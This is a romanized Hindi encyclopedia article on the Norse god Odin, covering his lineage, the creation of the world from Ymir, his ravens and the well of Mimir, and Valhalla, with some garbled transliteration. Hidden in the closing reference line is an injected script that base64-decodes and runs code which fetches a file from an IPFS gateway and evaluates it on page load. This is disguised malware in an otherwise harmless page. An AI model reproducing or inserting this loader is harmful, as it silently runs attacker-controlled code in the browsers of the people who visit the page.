ओडिन
odin athava othin tayootan jatiy mithakashastr mean ekaksh adim kulapita tatha devesh jise prajna evan yuddh ka adhipati mana jata hai. uttari yooropavasiyoan ke anusar odin borr devata ka bestala danavi se utpann putr hai. phhऱg odin ki pramukh patni tatha patarani hai jisase usake thor tatha baldar namak putr paida hue. isake atirikt, vibhinn striyoan se utpann usake aur bhi anek putroan ke nam milate haian jinhean 'gardabhamukhi devatao' ke samooh mean rakha jata hai. itana hi nahian, vah anek nijandhari rajaoan ka pita bhi mana jata hai.
vili tatha vi namak apane bhaiyoan ki sahayata se odin ne eemir nam ke daity ka vadh kiya aur usake rakt se mahasagaroan, maans se prithvi, asthiyoan se parvatoan evan chattanoan, khop di se akash tatha mastishk se badaloan ka nirman kiya. manavajati ko odin ne ek vishesh prakar ke bhasmatatha devadaru ke vriksh se banaya. usaka varnan pray: lanbe keshadhari athava dhoosar dadhivale 50 varshiy khalvat kiantu chust devata ke roop mean milata hai. vah ek dhaula sa choga tatha nili topi pahanata hai. aanguli mean drapanir nam ki jaduee aangoothi pahane aur ganganir namak bhale ko hath mean lekar apane ashtapad ashv slipanir par savar hokar vah idhar-udhar ghoomata hai.
devesh ki haisiyat se odin svargasthit glaidashim nam ke vishal kaksh mean devataoan ki goshthi ki adhyakshata karata hai. usake ek kandhe par hagin (vichar) tatha doosare par mamin (smriti) namak dronakak baithate haian aur use vishv ke bare mean ve sabhi soochanaean dete haian jo unhoanne prithvi ke oopar apani u dan ke dauran ekatr ki hoti haian. usake pairoan ke pas geri tatha phhऱeki namak bhe die lete rahate haian.
odin atyadhik jnanapipasu hai. usane jnan-jal-paripoorit mimir ke kuean se ek balti jal prapt karan ke badale apani ek aankh de dali thi. lagatar nau din tak vah eegadresil se latakakar nivalahem ki barphabhari gaharaiyoan ko takataki lagae dekhata raha tha aur isase hi usane tone tatha mantr sikhane ki kala ka jnan prapt kiya tha jisake karan vah jadoogar ke roop mean mana jata tha. baunoan dvara kvasir ke rakt se nirmit kavy madhu ko upalabdh karane ke lie odin ne apani jan ki baji laga di thi aur vanir ne jab mimir (buddhi ka pratik) ka kata hua sir asagard (svarg) bheja to odin ne use mantroan evan j dibootiyoan ke prayog se jivit rakha tatha usase bhavishy ka rahasy jnat karata raha. ek bar ek jatil prashn ka uttar pane ke lie jan par khelakar vah svayan narak gaya. phaansi par latake praniyoan ke niche baithakar vah unake jnan ko pi jane ka adi hai.
yuddh ke devata ke roop mean odin sunahare lal rang ka aangarakha pahanakar valahal mean baithata hai aur pray: apane gine chune yoddhaoan ke sath yuddhasthal mean jakar jitanevaloan tatha maranevaloan ke bhagy ka nipatara karata hai.
pashchim yoorop tatha skaiandineviya ke janasamany odin ke nam se parichit haian parantu usaki pooja sanbhavat: pahale pahal jarmani ke nichale bhagoan mean praranbh huee hogi aur sainik kshetroan mean use vishesh mahatv diya gaya hoga kyoanki usake aranbhik varnan ek aise devata ke roop mean milate haian jo yuddh mean har vyaktiyoan ki atmaoan ka hardik svagat karata hai aur valahal mean unake rahane ka samuchit prabandh bhi karata hai jahaan ukt atmaean paraspar yuddh karate hue tatha davatean u date hue samay vyatit karati haian. eesaee matavalanbi odin tatha shaitan ko paraspar abhinn manate haian. aangl saiksan jati ke log use vodan ya vautan nam se janate haian aur unaka vishvas hai ki rogoan ki utpatti un vishakt kitanuoan se hoti hai jo narak ke us navam bhag se u dakar sansar mean pahuanchate haian jahaan odin ne ekati vishakt ajadahe ki boti-boti katakar surakshit rakh di thi. baharahal, yoorop ke vibhinn bhagoan mean odin lagabhag 200 vibhinn namoan se prakhyat hai aur janamanas mean usaki pratishtha ek sashakt devadhipati ke roop mean vartaman hai.[1]
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tika tippani aur sandarbh
- ↑ hindi vishvakosh, khand 2 |prakashak: nagari pracharini sabha, varanasi |sankalan: bharat diskavari pustakalay |prishth sankhya: 296 | <script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>
sanbandhit lekh
varnamala kramanusar lekh khoj
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